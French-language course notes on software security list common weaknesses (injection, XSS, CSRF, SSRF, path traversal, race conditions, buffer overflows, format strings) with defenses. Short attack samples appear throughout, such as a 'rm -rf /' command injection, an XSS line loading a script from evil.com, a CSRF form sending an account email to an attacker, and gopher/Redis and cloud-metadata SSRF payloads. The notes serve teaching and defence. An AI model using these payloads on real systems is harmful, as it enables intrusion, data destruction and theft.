SLH - Sécurité logicielle haut niveau

Attaques et Vulnérabilités

13 octobre 2025

Table des matières

1 CWE, CVE, CVSS 1
1.1 Fondamentaux 2
1.2 Notation CVSS 2
2 Injections 2
2.1 Concept général 3
2.2 Types d'injections 3
2.3 Défense 3
3 Vulnérabilités générales 3
3.1 Null Pointer Dereference (CWE-476) 4
3.2 Unsafe Deserialization (CWE-502) 4
3.3 Integer Overflow (CWE-190) 4
4 Mécanismes de sécurité 4
4.1 Hardcoded Credentials (CWE-798) 5
4.2 Incorrect Authorization (CWE-863) 5
4.3 Path Traversal (CWE-22) 5
5 Attaques Web 5
5.1 Cross-Site Scripting (XSS) (CWE-79) 6
5.1.1 Reflected XSS 6
5.1.2 Stored XSS 6
5.1.3 DOM-Based XSS 6
5.1.4 Défense contre XSS 6
5.2 Cross-Site Request Forgery (CSRF) (CWE-352) 6
5.2.1 Défense contre CSRF 6
5.3 Unrestricted File Upload (CWE-434) 6
5.4 Server-Side Request Forgery (SSRF) (CWE-918) 7
5.4.1 Variantes dangereuses 7
5.4.2 Défense contre SSRF 7
6 Concurrence 7
6.1 Race Condition (CWE-362) 8
6.2 Time-of-Check to Time-of-Use (TOCTTOU) (CWE-367) 8
7 Mémoire 8
7.1 Out-of-Bounds Write (CWE-787) - Buffer Overflow 9
7.2 Out-of-Bounds Read (CWE-125) - Information Leak 9
7.2.1 Heartbleed (CVE-2014-0160) 9
7.3 Use-after-free (CWE-416) 9
7.4 Use of Format String (CWE-134) 9

1 CWE, CVE, CVSS

1.1 Fondamentaux

CWE (Common Weakness Enumeration):: Catalogue de faiblesses logicielles - taxonomie des vulnérabilités.

CVE (Common Vulnerabilities and Exposures):: Base de données de vulnérabilités connues et documentées.

CVSS (Common Vulnerability Scoring System):: Système de notation de la gravité des vulnérabilités.

1.2 Notation CVSS

Le score CVSS évalue une vulnérabilité selon plusieurs dimensions :

Vecteur d'Attaque (AV)

- Network (N) : Attaque à distance via internet
- Adjacent (A) : Accès au réseau local requis
- Local (L) : Accès physique à la machine
- Physical (P) : Accès physique aux composants

Complexité (AC)

- Low : Exploitation sans conditions particulières
- High : Nécessite des conditions ou mécanismes de défense à contourner

Privilèges Requis (PR)

- None : Aucun accès requis
- Low : Compte utilisateur standard
- High : Accès administrateur

Interaction Utilisateur (UI)

- None : Zéro-click (automatique)
- Passive : Action accidentelle possible
- Active : Action intentionnelle requise

Impact CIA

- Confidentiality : Compromission des données
- Integrity : Altération des données
- Availability : Disponibilité du service

Chaque dimension peut être : None, Low, ou High.

2 Injections

2.1 Concept général

Une injection exploite la capacité d'une application à exécuter du code ou des commandes. L'attaquant insère du code malveillant dans une entrée utilisateur que l'application traite comme du code légitime.

2.2 Types d'injections

OS Command Injection (CWE-78)

- L'application exécute une commande système avec données utilisateur non validées
- Exemple : `dig heig-vd.ch; rm -rf /`
- Impact : Exécution arbitraire de commandes avec les permissions du serveur

SQL Injection (CWE-89)

- Insertion de code SQL malveillant dans les requêtes
- Impact : Accès/modification/suppression de données

Code Injection (CWE-94)

- Injection générique dans n'importe quel langage
- Impact : Exécution de code arbitraire

2.3 Défense

- **Validation stricte** : Accepter uniquement les formats attendus
- **APIs sécurisées** : Utiliser des fonctions qui ne nécessitent pas le shell
- **Requêtes préparées** : Séparer le code des données (SQL)
- **Échappement** : Adapter l'échappement au contexte si validation insuffisante

3 Vulnérabilités générales

3.1 Null Pointer Dereference (CWE-476)

Problème : Accéder à un pointeur nul ou non initialisé

```
User user = database.getUser(username);  // Peut retourner null
if (!user.isAdmin()) { ... }  // Crash si user est null
```

Conséquences : Crash (DoS), ou parfois RCE en kernel space

Défense

- Langages avec gestion mémoire automatique
- Gestion explicite de l'absence (Option, Maybe, Nullable)
- C++ : smart pointers (unique_ptr, shared_ptr)

3.2 Unsafe Deserialization (CWE-502)

Problème : Désérialiser des données non fiables sans validation

```
ObjectInputStream os = new ObjectInputStream(fs);
User storedUser = (User) os.readObject();  // Appels constructeurs arbitraires
```

Conséquences : RCE via invocation de constructeurs malveillants

Défense

- Ne pas désérialiser de sources non fiables
- Signer cryptographiquement les données
- Utiliser des formats sûrs (JSON plutôt que serialization native)

3.3 Integer Overflow (CWE-190)

Problème : Opération arithmétique dépasse la capacité du type

```
int end_offset = begin_offset + length * 4;
// Si result > INT_MAX : wraparound, résultat incorrect
```

Conséquences : Bypass de vérifications, buffers overflows, allocations inadéquates

Pièges : En C, l'undefined behavior permet au compilateur d'optimiser agressivement

Défense

- Valider les entrées avant calculs
- Arithmétique vérifiée (checked_add en Rust, addExact en Java)
- Attention aux bornes

4 Mécanismes de sécurité

4.1 Hardcoded Credentials (CWE-798)

Problème : Secrets stockés en dur dans le code

```
if (strcmp($password, "MySuperSecurePassword")) { ... }
```

Conséquences : Accès compromis si le code est accessible

Défense

- Stocker les secrets en externe (variables d'environnement, vaults)
- Jamais en dur dans le code source

4.2 Incorrect Authorization (CWE-863)

Problème : Contrôle d'accès basé sur des données non fiables ou modifiables

```
$admin_level = $_COOKIES['level'];  // Client peut modifier le cookie
if ($admin_level < 3) { deny(); }
```

Conséquences : Escalade de privilèges, accès aux données d'autres utilisateurs

Défense

- Vérifier l'autorisation côté serveur avec des données fiables (session sécurisée)
- Jamais faire confiance aux données client

4.3 Path Traversal (CWE-22)

Problème : Construire des chemins fichier avec données utilisateur sans validation

```
include("/www/templates/$style.php");
// Input: "../../tmp/uploads/ws.php"
// Result: "/tmp/uploads/ws.php"
```

Conséquences : Accès à des fichiers en dehors du répertoire autorisé

Défense

- Valider que le chemin reste dans le répertoire autorisé
- Utiliser une whitelist de fichiers valides
- Canonicaliser les chemins (résoudre .., /)

5 Attaques Web

5.1 Cross-Site Scripting (XSS) (CWE-79)

Concept : L'attaquant injecte du JavaScript malveillant dans le contexte d'un site victime

L'attaquant abuse de la confiance du client envers le service.

5.1.1 Reflected XSS

L'attaquant envoie un lien piégé. Le service reflète les données dans la réponse sans échappement.

```
https://victim.com/search.php?q=<script src="https://evil.com/hook.js"></script>
```

L'utilisateur clique, le script s'exécute dans le navigateur dans le contexte de victim.com.

5.1.2 Stored XSS

L'attaquant injecte du code dans la base de données. Chaque utilisateur qui consulte les données affectées reçoit le code malveillant et l'exécute dans son navigateur avec son contexte d'authentification.

5.1.3 DOM-Based XSS

L'attaque est entièrement côté client. Le serveur envoie du JavaScript qui manipule le DOM avec des données utilisateur non échappées.

```
Si tu accèdes à `https://site.com/?name=Alice`, ça affiche "Hello Alice". Mais si tu accèdes à :
https://site.com/?name=<img src=x onerror="alert('XSS')">
```

5.1.4 Défense contre XSS

- **Échappement** : Adapter l'échappement au contexte (HTML, JavaScript, URL, CSS)
- **Validation d'entrée** : Accepter uniquement les formats attendus
- **Content Security Policy (CSP)** : Restreindre les sources de scripts
- **WAF** : Web Application Firewall comme couche supplémentaire

5.2 Cross-Site Request Forgery (CSRF) (CWE-352)

Concept : L'attaquant trompe un utilisateur authentifié pour effectuer une action en son nom.

L'attaquant abuse de la confiance du service envers le client.

```
<!-- evil-attacker.com -->
<form action="https://victim.com/update-email" method="POST">
  <input type="hidden" name="email" value="attacker@evil.com">
</form>
<script>document.forms[0].submit()</script>
```

Lorsque l'utilisateur visite le site malveillant, sa requête vers victim.com inclut sa session valide → email modifié.

5.2.1 Défense contre CSRF

- **Protection XSS** : Si XSS existe, CSRF peut être exploitée directement
- **Tokens CSRF** : Générer un token aléatoire stocké côté serveur, vérifier sa présence et validité
- **Vérification d'origine** : Vérifier l'header Origin/Referer
- **Cookies sécurisés** : SameSite=Strict, Secure flag
- **Sémantique HTTP** : GET sans effets de bord, POST/PUT/DELETE pour modifications

5.3 Unrestricted File Upload (CWE-434)

Problème : Application accepte les uploads sans restrictions d'extension

```
move_uploaded_file($_FILES["file"]["tmp_name"], "/uploads/$_FILES["file"]["name"]);
// Attacker uploads : malicious.php
```

Ensuite : `https://victim.com/uploads/malicious.php` exécute le code PHP

Conséquences : WebShell, RCE

Défense

- Valider l'extension et le type MIME
- Séparer code et contenu (domaine différent, répertoire sans exécution)
- Renommer les fichiers
- Stocker en dehors de la racine web si possible

5.4 Server-Side Request Forgery (SSRF) (CWE-918)

Concept : Forcer le serveur à effectuer une requête vers un service non autorisé

```
$url = $_GET['filename'];
$image = fopen($url, 'rb');  // fopen supporte les URLs
fpassthru($image);
```

Attaquant : `?filename=https://backend.internal:8443/api/secrets`

Le serveur (ayant accès interne) récupère et expose les données sensibles.

5.4.1 Variantes dangereuses

- Protocoles spéciaux : `gopher://`, `dict://` pour envoyer du SQL/Redis brut
- Cross-protocol : `gopher://redis:6379/_FLUSHALL` pour commander Redis
- Accès métadonnées : EC2 metadata service sur `169.254.169.254`

5.4.2 Défense contre SSRF

- **Validation d'entrée** : Whitelist d'URLs autorisées, restreindre les schémas
- **Filtrage réseau** : Proxy filtrant, firewall refusant accès interne
- **Architecture Zero Trust** : Aucun service ne fait confiance à un autre automatiquement

6 Concurrence

6.1 Race Condition (CWE-362)

Concept : Exploiter la fenêtre de temps entre deux opérations non atomiques

```
# Créer un fichier avec permissions sûres
while true; do
  echo "temporary data" > /tmp/file
  chmod 0400 /tmp/file
done

# Avant chmod, on essaie de le modifier
while true; do
  echo "malicious data" > /tmp/file
done
```

Si on gagne la race, on écrit pendant que le fichier est toujours 777.

6.2 Time-of-Check to Time-of-Use (TOCTTOU) (CWE-367)

Concept : Le fichier/état change entre la vérification et l'utilisation

```
if (file_exists(filename)) { return error; }  // Check
// ... (attaquant crée un symlink vers /etc/passwd) ...
exec("tcpdump ... -w", filename);  // Use
```

Si entre Check et Use un attaquant crée un symlink, on peut écrire sur des fichiers protégés.

Défense

- Opérations atomiques quand possible
- File locks
- Éviter les chemins symlinks

7 Mémoire

7.1 Out-of-Bounds Write (CWE-787) - Buffer Overflow

Problème : Écrire au-delà des limites d'un buffer

```
char buffer[12];
strcpy(buffer, userInput);  // Si userInput > 12 caractères : débordement
```

Conséquences : Écrasement de données adjacentes (return address → RCE)

Défense

- Stack non exécutable (NX bit)
- ASLR (randomisation des adresses)
- Indirect Branch Tracking
- Utiliser des fonctions sûres (strncpy, strlcpy)

7.2 Out-of-Bounds Read (CWE-125) - Information Leak

Problème : Lire au-delà des limites d'un buffer

```
memcpy(&output->data, &input->data, input->size);
// Si input->size > output->size : fuite mémoire
```

Conséquences : Accès à des données sensibles (clés, tokens, adresses)

Défense

- Vérifier que les tailles correspondent
- Bounds checking systématique

7.2.1 Heartbleed (CVE-2014-0160)

Exemple célèbre d'out-of-bounds read dans OpenSSL.

Le serveur copie un blob du cœur OpenSSL, mais la taille déclarée (payload) était plus grande que l'espace alloué (record). Cela lisait la mémoire au-delà du buffer → fuite de clés privées et données sensibles.

7.3 Use-after-free (CWE-416)

Problème : Accéder à une zone mémoire après l'avoir libérée

```
void *ptr = malloc(100);
free(ptr);
ptr->value = 5;  // Pointeur devient invalide
```

Exploitation : Allouer la même zone avec du contenu contrôlé, puis déclencher l'utilisation du pointeur → accès aux données contrôlées

Défense

- Langages avec garbage collection
- Smart pointers (C++)
- Mettre pointeurs à NULL après free
- Détection à runtime

7.4 Use of Format String (CWE-134)

Problème : Utiliser des données utilisateur comme format string

```
char *command = read_command();
fprintf(log_file, command);  // Si command = "%x %x %x", on lit la stack
```

Exploitation

- Lecture : `printf("%123$x")` lit le 123e argument = contenu stack
- Écriture : `printf("...%n")` écrit le nombre de caractères à une adresse pointeur

Conséquences : Lecture/écriture arbitraire mémoire

Défense

- Ne JAMAIS utiliser user input comme format string
- Toujours : `printf("%s", user_input)` au lieu de `printf(user_input)`